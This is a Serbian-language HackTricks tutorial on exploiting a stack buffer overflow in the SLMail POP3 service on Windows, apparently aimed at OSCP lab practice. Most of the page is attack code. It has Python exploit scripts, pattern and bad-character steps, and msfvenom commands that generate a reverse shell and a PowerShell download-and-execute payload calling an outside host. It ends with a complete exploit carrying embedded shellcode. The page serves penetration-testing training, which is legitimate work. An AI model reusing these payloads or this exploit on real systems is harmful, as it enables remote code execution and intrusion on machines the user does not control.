10 KiB
Windows Exploiting (Osnovni vodič - nivo OSCP)
{% hint style="success" %}
Naučite i vežbajte hakovanje AWS-a: HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Počnite instalaciju SLMail servisa
Ponovno pokretanje SLMail servisa
Svaki put kada treba ponovo pokrenuti servis SLMail to možete uraditi koristeći Windows konzolu:
net start slmail
Veoma osnovni Python šablon za eksploataciju
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Promenite font Immunity Debugger-a
Idite na Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
Povežite proces sa Immunity Debugger-om:
File --> Attach
I pritisnite dugme START
Pošaljite eksploit i proverite da li je EIP pogođen:
Svaki put kada prekinete servis, trebalo bi da ga ponovo pokrenete kako je naznačeno na početku ove stranice.
Kreirajte šablon za modifikaciju EIP-a
Šablon bi trebalo da bude velik kao bafer koji ste koristili da prekinete servis ranije.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Promenite bafer eksploatacije i postavite obrazac, zatim pokrenite eksploataciju.
Treba da se pojavi novi pad, ali sa drugačijom EIP adresom:
Proverite da li se adresa nalazi u vašem obrascu:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
Izgleda da možemo izmeniti EIP na offsetu 2606 bafera.
Proverite to modifikujući bafer exploita:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Sa ovim baferom EIP koji je pao treba da pokazuje na 42424242 ("BBBB")
Izgleda da radi.
Provera prostora za Shellcode unutar steka
600B bi trebalo da bude dovoljno za bilo koji moćan shellcode.
Promenimo bafer:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
Pokrenite novi exploit i proverite EBP i dužinu korisnog shell koda
Možete primetiti da kada se dostigne ranjivost, EBP pokazuje na shell kod i da imamo puno prostora da lociramo shell kod ovde.
U ovom slučaju imamo od 0x0209A128 do 0x0209A2D6 = 430B. Dovoljno.
Provera loših karaktera
Ponovo promenite bafer:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
Badchars počinju od 0x01 jer je 0x00 gotovo uvek loš.
Izvršite ponovo eksploataciju sa ovim novim baferom, izbacujući karaktere koji su se pokazali kao beskorisni:.
Na primer:
U ovom slučaju možete videti da ne biste trebali koristiti karakter 0x0A (ništa nije sačuvano u memoriji jer je karakter 0x09).
U ovom slučaju možete videti da je karakter 0x0D izbegnut:
Pronađite JMP ESP kao povratnu adresu
Koristeći:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Morate navesti mape memorije. Potražite neki DLl koji ima:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
Sada, unutar ove memorije trebalo bi pronaći neke bajtove JMP ESP, da biste to uradili, izvršite:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Zatim, ako je pronađena neka adresa, izaberite onu koja ne sadrži nijedan loš karakter:
U ovom slučaju, na primer: _0x5f4a358f_
Kreiraj shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Ako eksploatacija ne radi, ali trebalo bi (možete videti pomoću ImDebg-a da je shellkod dostignut), pokušajte da kreirate druge shellkodove (msfvenom će kreirati različite shellkodove za iste parametre).
Dodajte nekoliko NOPS-ova na početak shellkoda i koristite ga i povratnu adresu za JMP ESP, zatim završite eksploataciju:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
{% hint style="warning" %} Postoje shellkodovi koji će prepisati sami sebe, stoga je važno uvek dodati neke NOP instrukcije pre shellkoda {% endhint %}
Unapređenje shellkoda
Dodajte ove parametre:
EXITFUNC=thread -e x86/shikata_ga_nai
{% hint style="success" %}
Učite i vežbajte hakovanje AWS-a: HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.